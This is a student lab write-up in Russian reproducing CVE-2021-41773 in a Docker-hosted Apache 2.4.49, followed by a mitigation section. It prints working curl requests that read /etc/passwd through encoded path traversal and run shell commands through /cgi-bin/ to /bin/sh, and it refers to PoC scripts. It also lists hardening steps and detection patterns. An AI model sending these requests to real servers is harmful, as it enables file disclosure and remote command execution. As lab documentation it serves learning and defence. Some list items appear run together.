
WHS 4-й набор Ли Хису. Сдача задания kr-vulhub.
Участники
Apache HTTP Server 2.4.49 содержит уязвимость: в процессе нормализации URL-путей сервер не блокирует должным образом закодированные пути верхнего уровня.
Используя такие значения, как .%2e, атакующий может выйти за пределы директории, которую веб-сервер настроен открывать. В среде, где разрешён доступ к внешним директориям, могут быть раскрыты внутренние файлы сервера, а при включённом CGI возможен запуск системной оболочки, что приводит к удалённому выполнению команд.
В данном проекте с помощью Docker была развёрнута среда Apache HTTP Server 2.4.49 и воспроизведены два сценария:
/etc/passwd с помощью Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Выполните следующую команду, чтобы собрать Docker-образ и запустить контейнер:
docker compose up -d --build
Состояние запущенного контейнера можно проверить следующей командой:
docker ps
В результате выполнения проверьте, что контейнер находится в состоянии Up, а порт 8080 хоста связан с портом 80 контейнера.

Откройте в браузере следующий адрес:
http://localhost:8080
Если веб-страница Apache отображается корректно, значит окружение настроено успешно.

Проверьте версию Apache внутри контейнера следующей командой:
docker compose exec web /usr/local/apache2/bin/httpd -v
Результат выполнения:
Server version: Apache/2.4.49 (Unix)
Подтверждено, что запущен Apache HTTP Server 2.4.49, подверженный уязвимости CVE-2021-41773.

В данной лабораторной среде применяются следующие условия:
daemonВ конфигурации Apache разрешён доступ к корневой директории файловой системы, как показано ниже:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Кроме того, для выполнения CGI использована следующая конфигурация:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
Следующий запрос использует закодированный путь верхнего уровня для доступа к файлу /etc/passwd внутри контейнера:
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Значение .%2e после URL-декодирования обрабатывается как ...
Таким образом, атакующий может несколько раз подняться вверх по каталогам относительно пути Alias и получить доступ к файлу /etc/passwd.
Результат выполнения:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Файл /etc/passwd содержит информацию об учётных записях системы: имена пользователей, UID, GID, домашние директории и командные оболочки входа.
Пароли в нём не хранятся, однако внутренний файл сервера, к которому обычный внешний пользователь не должен иметь доступа, был раскрыт одним лишь HTTP-запросом, что подтверждает уязвимость раскрытия информации.
В реальной рабочей среде тем же способом могут быть раскрыты следующие конфиденциальные данные:
Следующий запрос использует Path Traversal для доступа к /bin/sh и выполняет команду whoami:
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Результат выполнения:
daemon

Поскольку путь /cgi-bin/ настроен через ScriptAlias, Apache не просто читает файлы в этой директории, а выполняет их как CGI-программы.
После доступа к /bin/sh через Path Traversal команды, переданные в теле запроса, выполняются с правами учётной записи, под которой работает Apache.
В данной среде Apache выполняется под следующей учётной записью:
User daemon
Group daemon
Поэтому и результат выполнения команды выводится от имени учётной записи daemon.
Хотя это и не права root, возможны следующие дополнительные угрозы:
Вместо отдельных команд можно воспользоваться PoC-скриптом, чтобы за один раз проверить штатную работу сервиса, Path Traversal и удалённое выполнение команд.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
Скрипт последовательно проверяет следующие пункты:
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행

Не следует использовать Apache HTTP Server 2.4.49; необходимо обновиться до последней версии с установленными патчами безопасности.
В рабочей среде доступ к корневой директории файловой системы должен быть запрещён по умолчанию.
<Directory "/">
Require all denied
</Directory>
Разрешайте отдельно только необходимые веб-директории.
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Если функциональность CGI не требуется, отключите следующие компоненты:
mod_cgiScriptAliasExecCGIПроцесс Apache должен запускаться не от root, а от ограниченной служебной учётной записи; также следует минимизировать список файлов и директорий, доступных этой учётной записи.
Необходимо обнаруживать и блокировать запросы, содержащие следующие аномальные пути:
.%2e
%2e%2e
/cgi-bin/
docker compose down
В рамках данной лабораторной работы мы собрали Apache HTTP Server 2.4.49 из Dockerfile и развернули воспроизводимую уязвимую среду с помощью Docker Compose.
С помощью Path Traversal-запроса было подтверждено раскрытие файла /etc/passwd внутри контейнера, к которому обычный веб-пользователь не должен иметь доступа.
Кроме того, в среде с включённым CGI было подтверждено, что можно получить доступ к /bin/sh и выполнять системные команды с правами daemon — учётной записи, под которой работает Apache.
Таким образом, подтверждено, что CVE-2021-41773 — это уязвимость, которая приводит не только к раскрытию путей, но и, в зависимости от конфигурации, к удалённому выполнению команд.